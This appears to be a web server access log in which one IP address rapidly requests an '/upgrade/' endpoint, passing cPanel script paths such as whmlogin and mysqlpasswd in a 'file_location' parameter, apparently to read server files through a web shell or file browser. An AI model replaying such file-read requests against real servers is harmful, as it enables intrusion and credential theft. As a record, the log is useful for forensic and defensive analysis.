45.135.193.11 - - [11/Sep/2026:22:43:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_apache_php_fpm&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154643 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_apache_php_fpm&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_chkservd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37966 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_chkservd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fwhmlogin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38827 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fwhmlogin&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fclear_orphaned_virtfs_mounts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39139 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fclear_orphaned_virtfs_mounts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdumpcdb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38109 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdumpcdb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fphp_fpm_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41189 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fphp_fpm_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fresetquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39530 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fresetquotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fshrink_modsec_ip_database&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 42433 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fshrink_modsec_ip_database&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgather_update_log_stats&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37790 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgather_update_log_stats&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcomet_protected_item_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 43275 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcomet_protected_item_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fftpupdate&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37889 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fftpupdate&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flistsubdomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38324 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flistsubdomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatesupportauthorizations&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38955 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatesupportauthorizations&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbackups_list_user_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39638 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbackups_list_user_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_maxmem_against_domains_count&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38964 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_maxmem_against_domains_count&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffind_outdated_services&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40755 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffind_outdated_services&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fperlmods&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38257 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fperlmods&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsync_child_accounts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38583 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsync_child_accounts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsync_contact_emails_to_cpanel_users_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38169 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsync_contact_emails_to_cpanel_users_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_db_cache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37961 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_db_cache&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_whmxfer_to_sqlite&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38244 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_whmxfer_to_sqlite&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdnssec-cluster-keys&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39319 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdnssec-cluster-keys&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fperform_sqlite_auto_rebuild_db_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38778 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fperform_sqlite_auto_rebuild_db_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmake_hostname_unowned&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38354 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmake_hostname_unowned&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmanage_mysql_profiles&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 42997 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmanage_mysql_profiles&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdumpstor&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38176 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdumpstor&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fexpunge_expired_certificates_from_sslstorage&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39092 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fexpunge_expired_certificates_from_sslstorage&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuilddnsconfig&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 45552 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frebuilddnsconfig&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frescan_user_dovecot_fts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39114 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frescan_user_dovecot_fts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fipusage&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40552 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fipusage&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_mailman&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154338 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_mailman&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_dkim_keys&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38406 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_dkim_keys&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbiglogcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbiglogcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgencrt&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40181 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgencrt&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmysqlpasswd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39349 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmysqlpasswd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsecuretmp&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 43579 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsecuretmp&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpanpingtest&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38165 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpanpingtest&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_cpuser_file_ip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38781 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_cpuser_file_ip&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Faddsystemuser&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39175 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Faddsystemuser&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckccompiler&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38368 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckccompiler&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpanel_ini&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39327 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpanel_ini&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_cpanel_pkgs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41985 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_cpanel_pkgs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpanelsync_postprocessor&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38463 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpanelsync_postprocessor&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmodify_featurelist&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37789 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmodify_featurelist&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Freset_mail_quotas_to_sane_values&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40417 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Freset_mail_quotas_to_sane_values&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fshow_php_settings&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39280 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fshow_php_settings&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:21 -0400] "GET /upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2F HTTP/1.1" 200 5766 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:43:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frsync-user-homedir.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40480 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frsync-user-homedir.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
